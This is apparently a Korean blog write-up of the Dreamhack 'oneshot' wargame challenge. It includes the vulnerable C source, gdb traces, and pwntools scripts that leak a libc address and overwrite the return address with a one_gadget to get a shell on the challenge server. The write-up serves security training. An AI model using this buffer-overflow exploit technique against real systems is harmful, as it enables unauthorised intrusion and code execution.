oneshot

2022. 7. 29. 16:30·Wargame/Dreamhack
728x90
반응형

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

문제 제목과 같이  oneshot gadget을 이용해서 문제를 풀어보자.

우선 oneshot gadget 설치는 아래와 같이 가능하다.

┌──(kali㉿kali)-[~/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb]
└─$ sudo gem install one_gadget
Fetching one_gadget-1.8.1.gem
Fetching bindata-2.4.10.gem
Fetching elftools-1.1.3.gem
Successfully installed bindata-2.4.10
Successfully installed elftools-1.1.3
Successfully installed one_gadget-1.8.1
Parsing documentation for bindata-2.4.10
Installing ri documentation for bindata-2.4.10
Parsing documentation for elftools-1.1.3
Installing ri documentation for elftools-1.1.3
Parsing documentation for one_gadget-1.8.1
Installing ri documentation for one_gadget-1.8.1
Done installing documentation for bindata, elftools, one_gadget after 6 seconds
3 gems installed

실행은 아래와 같다.

┌──(kali㉿kali)-[~/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb]
└─$ ldd oneshot 
        linux-vdso.so.1 (0x00007ffda7bb4000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f278360f000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f2783a00000)
                                                                                                                    
┌──(kali㉿kali)-[~/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb]
└─$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xcb5ca execve("/bin/sh", r12, r13)
constraints:
  [r12] == NULL || r12 == NULL
  [r13] == NULL || r13 == NULL

0xcb5cd execve("/bin/sh", r12, rdx)
constraints:
  [r12] == NULL || r12 == NULL
  [rdx] == NULL || rdx == NULL

0xcb5d0 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

간단히 설명하자면, memory leak이 가능할때, libc base address를 기준으로 onegadget이 찾아낸 offset을 더해 return만 하면 shell을 실행시킬 수 있다.

 

이제 코드를 잠시 보면, msg 변수가 16 byte로 선언되었으나 read 함수에서 46 byte를 입력받기에 buffer overflow가 발생한다.

하지만 check 변수가 0이 아니면 exit(0)로 종료하게 된다.

gdb로 다시 한번 확인해보면

gef➤  disas main
Dump of assembler code for function main:
...
   0x0000555555400a91 <+80>:    lea    -0x20(%rbp),%rax
   0x0000555555400a95 <+84>:    mov    $0x2e,%edx
   0x0000555555400a9a <+89>:    mov    %rax,%rsi
   0x0000555555400a9d <+92>:    mov    $0x0,%edi
   0x0000555555400aa2 <+97>:    call   0x555555400830 <read@plt>
   0x0000555555400aa7 <+102>:   cmpq   $0x0,-0x8(%rbp)
   0x0000555555400aac <+107>:   je     0x555555400ab8 <main+119>
   0x0000555555400aae <+109>:   mov    $0x0,%edi
   0x0000555555400ab3 <+114>:   call   0x555555400870 <exit@plt>
...

read 함수로 %rbp - 0x20부터 값을 0x2e만큼 받아들이지만, %rbp - 0x8 에 check 변수가 위치하며, 0이 아니면 종료하게 되며, canary 역할을 어느정도 한다고 볼 수 있다.

더불어 문제의 환경설명을 보면 nx와 pie가 걸려있기에 rtl로 쉘을 획득하여야 한다.

이제 페이로드를 작성해보자.

여기서 쉽게 오해할 수 있는 부분이, 페이로드에 \x00을 넣으면 read 함수의 끝으로 인식해서 그 뒤의 데이터는 입력이 안되지 않을까? 하는 것이다.

이것은 아래 링크를 참조하자.

https://wyv3rn.tistory.com/65

 

입/출력 함수의 입력, 출력 방식.

이 함수로 값을 받을때는 이 값이 들어갈까? 저 함수로 출력할때는 저 값이 출력될까? 아래와 같이 간단히 정리. 입력 함수 strcpy(char *dest, char* str) null (\x00)을 포함하여 str의 값을 dest에 복사한다.

wyv3rn.tistory.com

 

이제 코드를 작성해보자.

우선 onegadget 중 첫번째 offset으로 시도.

┌──(kali㉿kali)-[~/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb]
└─$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xcb5ca execve("/bin/sh", r12, r13)
constraints:
  [r12] == NULL || r12 == NULL
  [r13] == NULL || r13 == NULL
from pwn import *

p = process('./oneshot')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

stdout = int(b'0x' + p.recvline()[-13:-1],16)
ld = stdout - libc.symbols['_IO_2_1_stdout_']
onegadget = ld + 0xcb5ca

print('stdout add = ',hex(stdout))
print('base add = ',hex(ld))
print('onegadget add = ',hex(onegadget))


pay = b'\x00'*0x28 + p64(onegadget)

gdb.attach(p)

p.sendlineafter(b'MSG: ',pay)
p.recvline()
p.interactive()

하지만, main 함수에서 onegadget address로 return 하는 순간의 r12, r13 값이 0이 아니다.

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0055f2fea00af0  →  <__libc_csu_init+0> push %r15
$rcx   : 0x0               
$rdx   : 0x10              
$rsp   : 0x007ffe0b77f180  →  0x007ffe0b77f268  →  0x007ffe0b78033f  →  "./oneshot"
$rbp   : 0x0               
$rsi   : 0x0               
$rdi   : 0x007ffe0b77f150  →  0x0000000000000000
$rip   : 0x007f7d0d0ff5ca  →  <maybe_script_execute+154> mov %r13, %rdx
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0xfffffffffffffb86
$r11   : 0x007f7d0d0dbfd0  →  <__memset_sse2_unaligned+0> movd %esi, %xmm0
$r12   : 0x0055f2fea00890  →  <_start+0> xor %ebp, %ebp
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007ffe0b77f180│+0x0000: 0x007ffe0b77f268  →  0x007ffe0b78033f  →  "./oneshot"  ← $rsp
0x007ffe0b77f188│+0x0008: 0x0000000100000000
0x007ffe0b77f190│+0x0010: 0x0055f2fea00a41  →  <main+0> push %rbp
0x007ffe0b77f198│+0x0018: 0x0000000000000000
0x007ffe0b77f1a0│+0x0020: 0x0055f2fea00af0  →  <__libc_csu_init+0> push %r15
0x007ffe0b77f1a8│+0x0028: 0xa4774bfbdbf32a49
0x007ffe0b77f1b0│+0x0030: 0x0055f2fea00890  →  <_start+0> xor %ebp, %ebp
0x007ffe0b77f1b8│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f7d0d0ff5bb <maybe_script_execute+139> cmp    $0x1, %rax
   0x7f7d0d0ff5bf <maybe_script_execute+143> jne    0x7f7d0d0ff600 <maybe_script_execute+208>
   0x7f7d0d0ff5c1 <maybe_script_execute+145> movq   $0x0, 0x10(%r12)
 → 0x7f7d0d0ff5ca <maybe_script_execute+154> mov    %r13, %rdx
   0x7f7d0d0ff5cd <maybe_script_execute+157> mov    %r12, %rsi
   0x7f7d0d0ff5d0 <maybe_script_execute+160> lea    0xcd2ab(%rip), %rdi        # 0x7f7d0d1cc882
   0x7f7d0d0ff5d7 <maybe_script_execute+167> call   0x7f7d0d0fef70 <execve>
   0x7f7d0d0ff5dc <maybe_script_execute+172> mov    %rbx, %rsp
   0x7f7d0d0ff5df <maybe_script_execute+175> mov    -0x28(%rbp), %rax
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "oneshot", stopped 0x7f7d0d0ff5ca in maybe_script_execute (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f7d0d0ff5ca → maybe_script_execute(file=<optimized out>, argv=<optimized out>, envp=0x0)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────

계속 실행해보았더니 아래와 같이 segmentation fault가 떠서 실패하였다.

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xffffffffffffffff
$rbx   : 0x00562764000af0  →  <__libc_csu_init+0> push %r15
$rcx   : 0xffffffffffffff88
$rdx   : 0x0               
$rsp   : 0x00562764000af0  →  <__libc_csu_init+0> push %r15
$rbp   : 0x0               
$rsi   : 0x00562764000890  →  <_start+0> xor %ebp, %ebp
$rdi   : 0x007f077ca12882  →  0x68732f6e69622f ("/bin/sh"?)
$rip   : 0x007f077c9455df  →  <maybe_script_execute+175> mov -0x28(%rbp), %rax
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0xfffffffffffffb86
$r11   : 0x287             
$r12   : 0x00562764000890  →  <_start+0> xor %ebp, %ebp
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00562764000af0│+0x0000: <__libc_csu_init+0> push %r15  ← $rbx, $rsp
0x00562764000af8│+0x0008: <__libc_csu_init+8> push %rbp
0x00562764000b00│+0x0010: 0x2ce2d8d48550020 (" "?)
0x00562764000b08│+0x0018: 0x8949f68949530020 (" "?)
0x00562764000b10│+0x0020: <__libc_csu_init+32> (bad) 
0x00562764000b18│+0x0028: <__libc_csu_init+40> sar $0x3, %rbp
0x00562764000b20│+0x0030: <__libc_csu_init+48> decl -0x7b(%rax)
0x00562764000b28│+0x0038: <__libc_csu_init+56> nopl 0x0(%rax, %rax, 1)
────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f077c9455d0 <maybe_script_execute+160> lea    0xcd2ab(%rip), %rdi        # 0x7f077ca12882
   0x7f077c9455d7 <maybe_script_execute+167> call   0x7f077c944f70 <execve>
   0x7f077c9455dc <maybe_script_execute+172> mov    %rbx, %rsp
 → 0x7f077c9455df <maybe_script_execute+175> mov    -0x28(%rbp), %rax
   0x7f077c9455e3 <maybe_script_execute+179> sub    %fs:0x28, %rax
   0x7f077c9455ec <maybe_script_execute+188> jne    0x7f077c94563b <maybe_script_execute+267>
   0x7f077c9455ee <maybe_script_execute+190> lea    -0x18(%rbp), %rsp
   0x7f077c9455f2 <maybe_script_execute+194> pop    %rbx
   0x7f077c9455f3 <maybe_script_execute+195> pop    %r12
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "oneshot", stopped 0x7f077c9455df in maybe_script_execute (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f077c9455df → maybe_script_execute(file=<optimized out>, argv=<optimized out>, envp=0x0)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────

두번째, 세번째 onegadget도 마찬가지로 실패;

그럼 불가능한가?

그런 것 같다. (혹시 있을지도 모른다...)

왜냐하면 ret이 조작 가능하기에, 그냥 gadget으로 문제를 풀어도 될 것 같지만, 받아들이는 값의 크기가 46 byte로 buffer 0x20 (32 byte) + rsp (8byte) + ret (6byte ; 8 byte 중 앞의 2 byte는 쓰지 않으니 무관.) 매우 작기 때문이다.

하지만 이것은 로컬 환경에서 실패한 것이지, 실제 서버에서는 작동할 수도 있으니 시도해보자.

우선 onegadget 주소 재 확인.

┌──(kali㉿kali)-[~/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb]
└─$ one_gadget ./libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

요구 조건이 훨씬 간결하다.

이를 기준으로 코드 수정 및 실행.

from pwn import *

p = remote('host3.dreamhack.games',15353)
#p = process('./oneshot')
libc = ELF('./libc.so.6')

stdout = int(b'0x' + p.recvline()[-13:-1],16)
ld = stdout - libc.symbols['_IO_2_1_stdout_']
onegadget = ld + 0x45216

print('stdout add = ',hex(stdout))
print('base add = ',hex(ld))
print('onegadget add = ',hex(onegadget))

print(p64(onegadget))

pay = b'\x00'*0x28 + p64(onegadget)

p.sendlineafter(b'MSG: ',pay)
p.recvline()
p.interactive()
┌──(kali㉿kali)-[~/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb]
└─$ python a.py           
[+] Opening connection to host3.dreamhack.games on port 15353: Done
[*] '/home/kali/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
stdout add =  0x7ff6fa0ed620
base add =  0x7ff6f9d28000
onegadget add =  0x7ff6f9d6d216
b'\x16\xd2\xd6\xf9\xf6\x7f\x00\x00'
[*] Switching to interactive mode
$ id
uid=1000(oneshot) gid=1000(oneshot) groups=1000(oneshot)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

basic_exploitation_002  (0) 2022.07.30
out_of_bound  (0) 2022.07.30
hook  (0) 2022.07.29
fho  (0) 2022.07.27
basic_rop_x86  (0) 2022.07.25
'Wargame/Dreamhack' 카테고리의 다른 글
  • basic_exploitation_002
  • out_of_bound
  • hook
  • fho
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (494) N
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (23) N
        • Theory (15)
        • Exercise (1) N
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    x86
    Me
    _IO_FILE
    32bit
    CANARY
    FSB
    heap
    exploit education
    phoenix
    root-me
    docker
    vtable
    RTL
    la ctf
    BOF
    64bit
    hackerschool
    root
    cryptohack
    Buffer Overflow
    pwntools
    rop
    lob
    libc
    Format String Bug
    ROOT ME
    pwnable.kr
    dreamhack
    tcache
    x64
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
oneshot
상단으로

티스토리툴바